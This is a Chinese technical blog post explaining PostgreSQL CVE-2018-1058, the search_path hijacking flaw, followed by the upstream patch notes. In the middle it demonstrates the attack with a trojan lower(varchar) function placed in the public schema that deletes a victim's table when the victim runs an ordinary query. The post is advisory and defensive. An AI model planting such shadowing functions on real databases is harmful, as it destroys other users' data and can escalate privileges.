PostgreSQL CVE-2018-1058(search_path) - 暨数据库的那些陷阱与攻防指南

2 minute read

背景

PostgreSQL 元宵节对各个版本发布了小版本补丁，主要是解决一个search_path的功能，被攻击者利用来设置陷阱的问题。

https://git.postgresql.org/gitweb/?p=postgresql.git&a=search&h=HEAD&st=commit&s=CVE-2018-1058

CVE-2018-1058 陷阱介绍

1、namespace介绍

PostgreSQL schema即namespace，在一个DB中，可以创建多个schema，在schema中，可以创建对象。一个对象在一个schema中不允许重名，但是在多个schema中可以重名。

《PostgreSQL 逻辑结构和权限体系介绍》

2、search_path

那么当我们在查询数据库对象时，如何知道应该查哪个schema里的呢？

一种方法是fullpath，写成schemaname.obj_name

另一种方法是设置search_path，那么我们可以不写schemaname，也能找到对应的对象。例如(默认 search_path=$user, public; )

但是如果在多个schema中，有同样的对象，那么涉及到优先级的问题。

3、搜索优先级

pg_catalog 高于search_path的设置。

pg_catalog 是数据库的系统schema ，有最高优先级，所有的对象，如果在pg_catalog中有，那么优先使用pg_catalog的。

陷阱，由于search_path默认是$user, public，而public schema的读写权限默认是给所有角色的。

如果你没有使用fullpath的写法，而攻击者写了一个函数，并且这个函数可能是一个隐式转换前的（即完美匹配的函数），那么你的SQL将优先访问这个函数，覆盖pg_catalog中的。

4、攻击

普通用户a:

未使用fullpath，导致有被攻击的可能。

create table a(id int, info varchar);  
insert into a values(1,'abcdEFG');  
select id,lower(info) from a;  

lower系统函数，成为了一个陷阱，因为它不是varchar参数类型，用了隐式转换。

pp=> \df lower  
                          List of functions  
   Schema   | Name  | Result data type | Argument data types |  Type  
------------+-------+------------------+---------------------+--------  
 pg_catalog | lower | anyelement       | anyrange            | normal  
 pg_catalog | lower | text             | text                | normal  
(2 rows)  

攻击者b:

写一个函数，放到public，并且避免隐式转换.

create or replace function lower(varchar) returns void as $$  
declare  
begin  
  raise notice 'haha, delete your data';  
  delete from a;  
end;  
$$ language plpgsql strict SECURITY INVOKER;  

攻击者没有删除A表记录的权限，所以自己调用会报错。

但是这个陷阱是让a用户去踩的，我们看看A用户的调用。

postgres=> select lower('a'::varchar);  
NOTICE:  haha, delete your data  
ERROR:  permission denied for relation a  
CONTEXT:  SQL statement "delete from a"  
PL/pgSQL function lower(character varying) line 5 at SQL statement  

5、中招

普通用户，调用查询SQL，就会中招。

postgres=> \c postgres a  
You are now connected to database "postgres" as user "a".  
postgres=> select id,lower(info) from a;  
NOTICE:  haha, delete your data  
 id | lower  
----+-------  
  1 |  
(1 row)  
  
postgres=> select * from a;  
 id | info  
----+------  
(0 rows)  

a用户调用后，记录不见了，哭都来不及。

危害

攻击者，可能利用这个陷阱实现提权等操作，LIKE THIS：

《PostgreSQL 安全陷阱 - 利用触发器或规则，结合security invoker函数制造反噬陷阱》

危害巨大。

patch介绍

社区主要修正了一些search_path的文档内容，根据这个陷阱调整了一些建议。同时修改了pg_dump, pg_dumpall, pg_restore, vacuumdb等客户端代码，将search_path强制设置为只包含pg_catalog，因为通常调用这些客户端的都是超级用户，超级用户被下陷阱的话，危害就更大了。

Document how to configure installations and applications to guard against search-path-dependent trojan-horse attacks from other users (Noah Misch)

Using a search_path setting that includes any schemas writable by a hostile user enables that user to capture control of queries and then run arbitrary SQL code with the permissions of the attacked user. While it is possible to write queries that are proof against such hijacking, it is notationally tedious, and it’s very easy to overlook holes. Therefore, we now recommend configurations in which no untrusted schemas appear in one’s search path. Relevant documentation appears in Section 5.8.6 (for database administrators and users), Section 33.1 (for application authors), Section 37.15.1 (for extension authors), and CREATE FUNCTION (for authors of SECURITY DEFINER functions). (CVE-2018-1058)

Avoid use of insecure search_path settings in pg_dump and other client programs (Noah Misch, Tom Lane)

pg_dump, pg_upgrade, vacuumdb and other PostgreSQL-provided applications were themselves vulnerable to the type of hijacking described in the previous changelog entry; since these applications are commonly run by superusers, they present particularly attractive targets. To make them secure whether or not the installation as a whole has been secured, modify them to include only the pg_catalog schema in their search_path settings. Autovacuum worker processes now do the same, as well.

In cases where user-provided functions are indirectly executed by these programs — for example, user-provided functions in index expressions — the tighter search_path may result in errors, which will need to be corrected by adjusting those user-provided functions to not assume anything about what search path they are invoked under. That has always been good practice, but now it will be necessary for correct behavior. (CVE-2018-1058)